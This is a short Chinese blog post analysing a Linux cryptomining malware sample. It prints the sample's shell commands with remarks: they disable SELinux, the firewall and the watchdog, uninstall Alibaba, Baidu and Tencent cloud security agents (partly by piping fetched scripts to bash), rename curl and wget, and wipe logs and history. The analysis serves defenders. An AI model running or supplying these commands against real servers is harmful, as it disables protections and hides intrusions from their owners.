当代黑产都怎么控制服务器的
2020-07-29 23:55:44 Author: mp.weixin.qq.com(查看原文) 阅读量:10 收藏

前言:前几天喜提一个linux的恶意挖矿样本,有点意思。今天就水一篇文章,看看当代黑产都怎么控制服务器的。

1.一键破防

1.1关闭selinux

#!/bin/shsetenforce 0 2>dev/nullecho SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null   #关闭selinux(理解为Linux的安全模块)

1.2关闭防火墙

ufw disable  #关闭防火墙iptables -F  #清除防火墙配置#sudo sysctl kernel.nmi_watchdog=0

1.3关闭看门狗

echo '0' >/proc/sys/kernel/nmi_watchdog #关闭linux 看门狗echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf   #重启自动关闭

1.4关闭阿里云防御

if ps aux | grep -i '[a]liyun'; then  $bbdir http://update.aegis.aliyun.com/download/uninstall.sh | bash      #屏蔽阿里云监控  $bbdir http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash  $bbdira http://update.aegis.aliyun.com/download/uninstall.sh | bash  $bbdira http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash  pkill aliyun-service  rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service    rm -rf /usr/local/aegis*  systemctl stop aliyun.service     systemctl disable aliyun.service

1.5 关闭卸载百度云防御

  service bcm-agent stop    yum remove bcm-agent -y  apt-get remove bcm-agent -

1.6关闭腾讯云

elif ps aux | grep -i '[y]unjing'; then #屏蔽腾讯云镜  /usr/local/qcloud/stargate/admin/uninstall.sh  /usr/local/qcloud/YunJing/uninst.sh  /usr/local/qcloud/monitor/barad/admin/uninstall.shfi

2.致盲

2.1迷惑行为,更改关键函数命名,防止未知监控(应该用处大)

mv /usr/bin/curl /usr/bin/urlmv /usr/bin/url /usr/bin/cdtmv /usr/bin/cdl /usr/bin/cdt  #curl=cdtmv /usr/bin/wget /usr/bin/getmv /usr/bin/get /usr/bin/wdtmv /usr/bin/wdl /usr/bin/wdt  #wget=wdt

2.2文件保护及删除日志

ulimit -n 65535    #取消文件访问个数限制rm -rf /var/log/syslog  #删除日志(操作比较糙,而且删得不够)chattr -iua /tmp/    #为防止原有文件被误删或者改变chattr -iua /var/tmp/ #为防止原有文件被误删或者改变history -c             #删除日志(操作比较糙,而且删得不够)echo > /var/spool/mail/rootecho > /var/log/wtmpecho > /var/log/secureecho > /root/.bash_history

3.开启性能模式

sync && echo 3 >/proc/sys/vm/drop_caches  #释放内存ulimit -n 65535    #取消文件访问个数限制echo 128 > /proc/sys/vm/nr_hugepages #默认为0sysctl -w vm.nr_hugepages=128  #开启性能模式 初步认定为挖矿

4.后门留存

常规知识没啥好说的


文章来源: http://mp.weixin.qq.com/s?__biz=MzI2NjkzMzIzNg==&mid=2247484064&idx=1&sn=06c89dfdc5e9bd1fc89ad2197ad75b1e&chksm=ea87c43bddf04d2d72d8648e39bd16cfe31921b9c8ed17f72f758e0afdbab33f89fe1cff1660&mpshare=1&scene=24&srcid=07295RjRuqUF7HLC4mXj1blU&sharer_sharetime=1596038143822&sharer_shareid=5191b3dcb328f693d5261ba6bca8d267#rd
如有侵权请联系:admin#unsafe.sh